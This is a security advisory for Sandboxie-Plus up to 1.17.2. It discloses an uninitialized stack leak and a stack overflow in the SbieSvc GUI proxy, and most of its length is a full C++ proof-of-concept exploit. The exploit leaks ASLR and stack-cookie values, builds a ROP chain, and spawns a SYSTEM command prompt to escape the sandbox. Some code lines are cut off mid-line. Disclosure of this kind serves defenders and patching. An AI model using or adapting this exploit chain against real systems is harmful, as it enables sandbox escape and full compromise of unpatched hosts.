Double-Edged IPC: Uninitialized Leak and Stack Overflow in GetRawInputDeviceInfoSlave Leads to SYSTEM Sandbox Escape

Critical **DavidXanatos** published **GHSA-7cpc-5hv7-rfmh** 3 days ago

Package

No package listed

Affected versions

<= 1.17.2

Patched versions

1.17.3

Description

Double-Edged IPC: Uninitialized Leak and Stack Overflow in GetRawInputDeviceInfoSlave Leads to SYSTEM Sandbox Escape

Summary

A malicious sandboxed process can exploit an uninitialized memory leak and a missing bounds check in the `SbieSvc` proxy service's `GetRawInputDeviceInfoSlave` handler. Chaining these vulnerabilities allows an attacker to bypass ASLR and /GS (stack cookies) to execute a ROP chain. Code execution through a ROP chain has been successfully achieved, leading to a comprehensive sandbox escape and SYSTEM privilege escalation. While modern hardware mitigations like Control-flow Enforcement Technology (CET) defeat the stack overflow exploitation, the 32KB information leak remains intact, and a sophisticated attacker may still be able to bypass CET.

Details

Both vulnerabilities reside in the handling of the `GUI_GET_RAW_INPUT_DEVICE_INFO` IPC message within `core/svc/GuiServer.cpp`.

The underlying issue stems from how the 32KB stack-allocated reply buffer (`rpl_buf`) in `QueueCallbackSlave2` is managed:

1. Information Leak (ASLR & /GS Bypass)
If a sandboxed client sends an artificially inflated IPC request but sets `req->cbSize = 0` or `hasData = FALSE`, the function completely skips the `memcpy` operation. However, the function concludes with: `args->rpl_len = args->req_len;`
This forces the proxy server to return up to 32KB of its uninitialized stack memory back to the untrusted client. This massive memory dump reliably exposes return addresses (bypassing ASLR) and residual stack cookies (bypassing /GS).

2. Stack Buffer Overflow (Code Execution)
When processing valid data, the function executes the following copy:
`memcpy(rplData, reqData, lenData);`
At no point does the code verify that the attacker-controlled `lenData` fits within the bounds of the 32KB `rpl_buf`.

Exploit Chain & CET Mitigation
By utilizing the information leak, the attacker calculates the `SbieSvc.exe` base address and extracts the exact `/GS` stack cookie for the current frame. The attacker then triggers the buffer overflow, sending an oversized payload that perfectly restores the stack cookie and overwrites the saved return address with a ROP chain to achieve SYSTEM-level code execution.

Note: Hardware-enforced shadow stacks (Intel CET) successfully prevent the execution of this ROP chain by catching the return address overwrite. However, the 32KB information leak is unaffected by CET, providing advanced attackers with the memory primitives needed to potentially craft a CET bypass.

PoC

The provided C++ Proof of Concept (PoC) demonstrates the full exploit chain—combining the uninitialized memory leak and stack buffer overflow to execute a ROP chain—achieving arbitrary command execution as SYSTEM and escaping the sandbox.

Environment & Compatibility

- **Tested On:** Windows 11 Enterprise 24H2 (build 26100.8037) and Windows 11 IoT Enterprise LTSC (build 26100.4652) on both bare-metal and virtualized hardware. With Sandboxie-Plus x64 1.17.2.
- **Portability:** The ROP chain utilizes offsets optimized for the tested Windows 11 builds. It can be easily adapted for other Windows versions by adjusting the deltas applied to the leaked memory pointers.
- **Prerequisites:** On systems supporting Control-flow Enforcement Technology (CET), CET must be disabled for `SbieSvc.exe` for the ROP chain to execute.
- **Compilation:** Compile as an x64 Release build using Visual Studio 2019.

Attachments

- **Video Demonstration:** POC-Video-Demo-Sandboxie-W11.webm — Demonstrates the exploit executing in a Security Hardened Sandbox to spawn a SYSTEM command prompt.
- **Source Code:** The C++ PoC is provided below.

Source:

Compile with Visual Studio 2019 x64

```
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <stdint.h>

#define MAX_RPL_BUF_SIZE    32768
#define OVERSIZED_MESSAGE_SIZE (MAX_RPL_BUF_SIZE+1024)

enum {
    GUI_INIT_PROCESS = 1,
    GUI_GET_WINDOW_STATION,
    GUI_CREATE_CONSOLE,
    GUI_QUERY_WINDOW,
    GUI_IS_WINDOW,
    GUI_GET_WINDOW_LONG,
    GUI_GET_WINDOW_PROP,
    GUI_GET_WINDOW_HANDLE,
    GUI_GET_CLASS_NAME,
    GUI_GET_WINDOW_RECT,
    GUI_GET_WINDOW_INFO,
    GUI_GRANT_HANDLE,
    GUI_ENUM_WINDOWS,
    GUI_FIND_WINDOW,
    GUI_MAP_WINDOW_POINTS,
    GUI_SET_WINDOW_POS,
    GUI_CLOSE_CLIPBOARD,
    GUI_GET_CLIPBOARD_DATA,
    GUI_SEND_POST_MESSAGE,
    GUI_SEND_COPYDATA,
    GUI_CLIP_CURSOR,
    GUI_MONITOR_FROM_WINDOW,
    GUI_SET_FOREGROUND_WINDOW,
    GUI_SPLWOW64,
    GUI_CHANGE_DISPLAY_SETTINGS,
    GUI_SET_CURSOR_POS,
    GUI_GET_CLIPBOARD_METAFILE,
    GUI_REMOVE_HOST_WINDOW,
    GUI_GET_RAW_INPUT_DEVICE_INFO, // The target MsgId (29)
    GUI_WND_HOOK_NOTIFY,
    GUI_WND_HOOK_REGISTER,
    GUI_KILL_JOB,
    GUI_MAX_REQUEST_CODE
};



#pragma pack(push, 8)
struct GUI_GET_RAW_INPUT_DEVICE_INFO_REQ {
    ULONG msgid;
    ULONG64 hDevice;
    UINT uiCommand;
    BOOLEAN unicode;
```

```
    BOOLEAN hasData;
    UINT cbSize;
};

struct GUI_GET_RAW_INPUT_DEVICE_INFO_RPL {
    ULONG status;
    ULONG error;
    ULONG retval;
    BOOLEAN hasData;
    UINT cbSize;
};
#pragma pack(pop)

// Sandboxie ALPC internal APIs
typedef ULONG(WINAPI* P_SbieDll_QueuePutReq)(
    const WCHAR* QueueName,
    void* DataPtr,
    ULONG DataLen,
    ULONG* out_RequestId,
    HANDLE* out_EventHandle
    );

typedef ULONG(WINAPI* P_SbieDll_QueueGetRpl)(
    const WCHAR* QueueName,
    ULONG RequestId,
    void** out_DataPtr,
    ULONG* out_DataLen
    );



#pragma pack(push, 8)
struct REAL_SECURE_UAC_PACKET {
    uint32_t tzuk;
    uint32_t len;
    uint32_t app_len;
    uint32_t app_ofs;
    uint32_t cmd_len;
    uint32_t cmd_ofs;
    uint32_t dir_len;
    uint32_t dir_ofs;
    uint32_t inv_len;
    // 4 bytes compiler padding will naturally exist here
    uint64_t hEvent;
    uint64_t hResult;
    uint64_t ret_code;
    // Wedon't need the WCHAR text array and we will just write the strings after with m
};
#pragma pack(pop)




void perform_attack(BYTE* leakBuffer) {
    // --- 1. RSP & Cookie Calculation ---
    uint64_t leaked_ptr = *reinterpret_cast<uint64_t*>(leakBuffer + 0x0D0);
```

```
uint64_t rsp_vuln = leaked_ptr - 0x83D8;

uint64_t leaked_ptr_check = *reinterpret_cast<uint64_t*>(leakBuffer + 0x1F8);
uint64_t rsp_vuln_check = leaked_ptr_check - 0x8282;


if ((rsp_vuln & 0xF) != 0)
{
    std::cout << "Invalid RSP Found! Trying backup." << std::endl;
    rsp_vuln = rsp_vuln_check;
}
if ((rsp_vuln_check & 0xF) != 0)
{
    std::cout << "Invalid Backup RSP Found!" << std::endl;
}


uint64_t leaked_cookie = *reinterpret_cast<uint64_t*>(leakBuffer + 0x00);
uint64_t master_cookie = leaked_cookie ^ rsp_vuln;

uint64_t forged_cookie = master_cookie ^ rsp_vuln; //redundant since leak same funct


// ---Module Base Calculation ---
// The 4th QWORD is at offset 0x18 (3 * 8 bytes)
uint64_t leaked_ret_addr = *reinterpret_cast<uint64_t*>(leakBuffer + 0x18);
uint64_t leated_ret_addr_backup = *reinterpret_cast<uint64_t*>(leakBuffer + 0x008);

uint64_t return_address_rva = 0x118D8;

uint64_t sbiesvc_base = leaked_ret_addr - return_address_rva;


// --- Output Results ---
std::cout << std::hex << std::uppercase;
std::cout << "[+] Leaked Stack Ptr : 0x" << leaked_ptr << std::endl;
std::cout << "[+] Calculated RSP   : 0x" << rsp_vuln << std::endl;
std::cout << "[+] Master Cookie    : 0x" << master_cookie << std::endl;
std::cout << "[+] Forged Cookie    : 0x" << forged_cookie << std::endl;
std::cout << "[+] Leaked Cookie    : 0x" << leaked_cookie << std::endl;
std::cout << "----------------------------------------\n";
std::cout << "[+] Leaked Ret Addr  : 0x" << leaked_ret_addr << std::endl;
std::cout << "[+] sbiesvc Base     : 0x" << sbiesvc_base << std::endl;


printf("[*] Sandboxie GuiProxy Stack Smash via Standard API\n");

// Define the size required to smash the stack
UINT cbSize = OVERSIZED_MESSAGE_SIZE;


// Allocatee the "output" buffer
BYTE* pData = (BYTE*)VirtualAlloc(NULL, cbSize, MEM_COMMIT | MEM_RESERVE, PAGE_READW

// fill the buffer with the exploit payload.
std::memset(pData, 0x43, cbSize);
```

```
// Setup the rop chain to target RunUacSlave4, allowing command execution. Only need
/*bool ServiceServer::RunUacSlave4(
    HANDLE hClientProcess,  // 1. RCX - Can ignore it doesn't matter
    void* xpkt,             // 2. RDX
    WCHAR * *OutAppName      // 3. R8
);*/
// Using crappy var names and comments for extra luck

size_t cookie_offset = 32748;
*reinterpret_cast<uint64_t*>(pData + cookie_offset) = forged_cookie;
size_t ret_addr_offset = cookie_offset + 0x18;
uint64_t new_return_address = sbiesvc_base + 0x4afc5; //rop gadget to null r8 (OutAp
*reinterpret_cast<uint64_t*>(pData + ret_addr_offset) = new_return_address;
size_t r8_gadget_offset = 32784;
*reinterpret_cast<uint64_t*>(pData + r8_gadget_offset) = 0; //null what is moved int

size_t ret_after_r8_offset = 32820;
*reinterpret_cast<uint64_t*>(pData + ret_after_r8_offset) = sbiesvc_base + 0x4a117;

size_t new_rax_offset = 32828;
*reinterpret_cast<uint64_t*>(pData + new_rax_offset) = sbiesvc_base; //Something rea

size_t ret_after_rax_offset = 32836;
*reinterpret_cast<uint64_t*>(pData + ret_after_rax_offset) = sbiesvc_base + 0x1792c;

size_t new_rdx_offset = 32844;
size_t new_rdx_command_structure_offset = 29504;
*reinterpret_cast<uint64_t*>(pData + new_rdx_offset) = rsp_vuln + new_rdx_command_st
std::cout << "[+] RDX Location   : 0x" << rsp_vuln + new_rdx_command_structure_offse

size_t ret_after_rdx_offset = 32924;
*reinterpret_cast<uint64_t*>(pData + ret_after_rdx_offset) = sbiesvc_base + 0x2B320;

//Setup payload xpkt for RunUacSlave4
// Overlay the struct
REAL_SECURE_UAC_PACKET* packet = reinterpret_cast<REAL_SECURE_UAC_PACKET*>(pData + 2


// Strings
const wchar_t* cmd_full_path = L"C:\\Windows\\System32\\cmd.exe";
//const wchar_t* malicious_cmd = L"\/c echo \"Exploit Success\" > C:\\Windows\\Temp\
const wchar_t* malicious_cmd = L"/c start cmd"; //Start a command prompt with SYSTEM
const wchar_t* dummy_dir = L"C:\\";

uint32_t app_byte_size = wcslen(cmd_full_path) * sizeof(wchar_t);
uint32_t cmd_byte_size = wcslen(malicious_cmd) * sizeof(wchar_t);
uint32_t dir_byte_size = wcslen(dummy_dir) * sizeof(wchar_t);

// 2. Lay them out in your buffer sequentially after the packet
uint32_t current_offset = sizeof(REAL_SECURE_UAC_PACKET);

// Copy App
packet->app_len = app_byte_size;
packet->app_ofs = current_offset;
```

```
    std::memcpy(pData + 29372 + current_offset, cmd_full_path, app_byte_size + 2);
    current_offset += app_byte_size + 2;

    // Copy Cmd
    packet->cmd_len = cmd_byte_size;
    packet->cmd_ofs = current_offset;
    std::memcpy(pData + 29372 + current_offset, malicious_cmd, cmd_byte_size + 2);
    current_offset += cmd_byte_size + 2;

    // Copy Dir
    packet->dir_len = dir_byte_size;
    packet->dir_ofs = current_offset;
    std::memcpy(pData + 29372 + current_offset, dummy_dir, dir_byte_size + 2);

    packet->app_len = wcslen(cmd_full_path);
    packet->cmd_len = wcslen(malicious_cmd);
    packet->dir_len = wcslen(dummy_dir);


    packet->tzuk = 0xAAAAAA; // Doesn't matter


    // Initialize the rest to 0 so CreateProcess doesn't crash on junk handles
    packet->hEvent = 0;
    packet->hResult = 0;
    packet->ret_code = 0;


    //We can just rely on the hook to deal with the payload for us, no need to do anothe

    printf("[*] Press enter to execute GetRawInputDeviceInfoA with crafted buffer...\n")
    std::cin.get();

    // Final step -- Smash the stack and hope your offsets and deltas work with this ver


    GetRawInputDeviceInfoA(
        NULL,
        RIDI_DEVICEINFO,
        pData,
        &cbSize
    );

    printf("[+] API call completed.\n");
    VirtualFree(pData, 0, MEM_RELEASE);
}


// Helper function to print a hex dump of the leaked memory
void HexDump(const char* desc, const void* addr, int len) {
    int i;
    unsigned char buff[17];
    const unsigned char* pc = (const unsigned char*)addr;

    printf("%s:\n", desc);
    for (i = 0; i < len; i++) {
```

```
        if ((i % 16) == 0) {
            if (i != 0) printf("  %s\n", buff);
            printf("  %04X ", i);
        }
        printf(" %02X", pc[i]);
        if ((pc[i] < 0x20) || (pc[i] > 0x7e)) buff[i % 16] = '.';
        else buff[i % 16] = pc[i];
        buff[(i % 16) + 1] = '\0';
    }
    while ((i % 16) != 0) {
        printf("   ");
        i++;
    }
    printf("  %s\n", buff);
}

int main() {
    printf("[*] Sandboxie GuiProxy Information Leak PoC\n");

    HMODULE hSbieDll = GetModuleHandleW(L"SbieDll.dll");
    if (!hSbieDll) {
        printf("[-] Not running inside Sandboxie!\n");
        return 1;
    }

    P_SbieDll_QueuePutReq SbieDll_QueuePutReq = (P_SbieDll_QueuePutReq)GetProcAddress(hS
    P_SbieDll_QueueGetRpl SbieDll_QueueGetRpl = (P_SbieDll_QueueGetRpl)GetProcAddress(hS

    if (!SbieDll_QueuePutReq || !SbieDll_QueueGetRpl) {
        printf("[-] Failed to resolve SbieDll queue functions.\n");
        return 1;
    }

    // 1. Decouple the sizes to trigger the leak.
    // The physical message size is massive to force the out-of-bounds read.
    const ULONG ALPC_REQ_SIZE = OVERSIZED_MESSAGE_SIZE;
    BYTE* msgBuffer = (BYTE*)VirtualAlloc(NULL, ALPC_REQ_SIZE, MEM_COMMIT | MEM_RESERVE,
    ZeroMemory(msgBuffer, ALPC_REQ_SIZE);


    GUI_GET_RAW_INPUT_DEVICE_INFO_REQ* req = (GUI_GET_RAW_INPUT_DEVICE_INFO_REQ*)msgBuff
    req->msgid = GUI_GET_RAW_INPUT_DEVICE_INFO;
    req->hDevice = 0;
    req->uiCommand = RIDI_DEVICENAME;
    req->unicode = FALSE;
    req->hasData = TRUE;

    // setting cbSize to 0, we prevent the memcpy() stack smash,
    // allowing the function to survive and return our stuff
    req->cbSize = 0;

    DWORD sessionId;
    ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
    WCHAR queueName[64];
    swprintf(queueName, 64, L"*GUIPROXY_%08X", sessionId);
```

```
    ULONG req_id = 0;
    HANDLE hEvent = NULL;

    printf("[*] Sending malicious ALPC request (Physical Size: %lu, cbSize: %u)...\n", A
    ULONG status = SbieDll_QueuePutReq(queueName, msgBuffer, ALPC_REQ_SIZE, &req_id, &hE

    if (status == 0 && hEvent) {
        printf("[+] Request queued. Waiting for server to process and leak memory...\n")

        // Wait for the proxy to reply
        WaitForSingleObject(hEvent, 8000);
        CloseHandle(hEvent);

        void* replyData = NULL;
        ULONG replyLen = 0;


        // 2. Retrieve the leaked memory from the ALPC port
        status = SbieDll_QueueGetRpl(queueName, req_id, &replyData, &replyLen);

        if (status == 0 && replyData != NULL) {
            printf("[+] Reply received! Size: %lu bytes\n", replyLen);

            // The first 32768 bytes are the legitimate rpl_buf on the stack.
            // Anything beyond 32768 bytes is leaked host stack memory (OOB Read).
            if (replyLen > 32768) {
                ULONG leakedBytesCount = replyLen - MAX_RPL_BUF_SIZE;
                printf("[!!!] STACK LEAK SUCCESSFUL! Leaked %lu bytes of out-of-bounds h

                BYTE* leakedMemoryStart = (BYTE*)replyData + MAX_RPL_BUF_SIZE;
                perform_attack(leakedMemoryStart);
                HexDump("Host Stack Dump (Past 32KB boundary)", leakedMemoryStart, leake
                //HexDump("test", replyData, replyLen);
            }
            else {
                printf("[-] Reply size was not large enough to trigger the leak. Size: %
                HexDump("test", replyData, replyLen);
            }
        }
        else {
            printf("[-] Failed to get reply. Status: 0x%08X\n", status);
        }
    }
    else {
        printf("[-] Failed to queue request. Status: 0x%08X\n", status);
    }

    VirtualFree(msgBuffer, 0, MEM_RELEASE);
    return 0;
}
```

Impact

A sandbox escape without user interaction and privilege escalation to SYSTEM without UAC, even in Security Hardened sandboxes, represents the most severe kind of vulnerability that can affect the software. Any malicious application or compromised process running inside the sandbox can leverage this exploit chain to silently break out of the isolation environment and completely compromise the host operating system.

Severity

Critical

CVE ID

CVE-2026-34459

Weaknesses

- CWE-121
- CWE-908

Credits

sammy12342 Reporter